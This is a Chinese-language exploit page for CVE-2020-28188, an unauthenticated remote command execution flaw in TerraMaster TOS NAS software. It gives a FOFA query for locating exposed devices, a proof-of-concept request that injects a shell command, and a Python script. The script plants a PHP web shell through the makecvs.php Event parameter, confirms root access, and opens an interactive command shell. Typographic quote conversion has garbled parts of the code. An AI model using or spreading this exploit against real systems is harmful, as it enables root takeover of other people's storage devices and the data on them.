TerraMaster TOS 未授权 RCE (CVE-2020-28188)

# TerraMaster TOS 未授权 RCE (CVE-2020-28188)

漏洞页面：/include/makecvs.php

漏洞参数：Event

**fofa:**

“`
body=”TOS Loading” && title!=”- CoreAPI”
“`




**PoC：**

“`
GET /tos/index.php?explorer/pathList&path=%60touch%20/tmp/file%60 HTTP/1.1
Host: 192.168.1.206:8181
“`

Exploit.py:

“`python
#!/usr/bin/env python3
import argparse
import requests
import time
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

parser = argparse.ArgumentParser(description=”TerraMaster TOS <= 4.2.06 Unauth RCE") parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: http://192.168.1.111:8081/") args = parser.parse_args() url = args.url headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'} epoch_time = int(time.time()) shell_filename = "debug"+str(epoch_time)+".php" def check_endpoint(url, headers): response = requests.get(url+'/version', headers=headers, verify=False) if response.status_code == 200: print("[+] TerraMaster TOS version: ", str(response.content)) else: print("\n[-] TerraMaster TOS response code: ", response.status_code) sys.exit() def upload_shell(url, headers, shell_filename): payload = "http|echo \"\” >> /usr/www/”+shell_filename+” && chmod +x /usr/www/”+shell_filename+”||”
payload = urllib.parse.quote(payload, safe=”)
print(“[/] Uploading shell…”)
response = requests.get(url+’/include/makecvs.php?Event=’+payload, headers=headers, verify=False)
time.sleep(1)
response = requests.get(url+’/’+shell_filename+’?cmd=id’, headers=headers, verify=False)
if (‘uid=0(root) gid=0(root)’ in str(response.content, ‘utf-8′)):
print(“[+] Upload succeeded”)
else:
print(“\n[-] Error uploading shell: “, response.content)
sys.exit()

def interactive_shell(url, headers, shell_filename, cmd):
response = requests.get(url+’/’+shell_filename+’?cmd=’+urllib.parse.quote(cmd, safe=”), headers=headers, verify=False)
print(str(response.text)+”\n”)

def delete_shell(url, headers, shell_filename):
delcmd = “rm /usr/www/”+shell_filename
response = requests.get(url+’/’+shell_filename+’?cmd=’+urllib.parse.quote(delcmd, safe=”), headers=headers, verify=False)
print(“\n[+] Shell deleted”)

check_endpoint(url, headers)
upload_shell(url, headers, shell_filename)
try:
while True:
cmd = input(“# “)
interactive_shell(url, headers, shell_filename, cmd)
except:
delete_shell(url, headers, shell_filename)
“`

ref:

* https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/
* https://forum.ywhack.com/thread-114868-1-1.html
* https://www.seebug.org/vuldb/ssvid-99082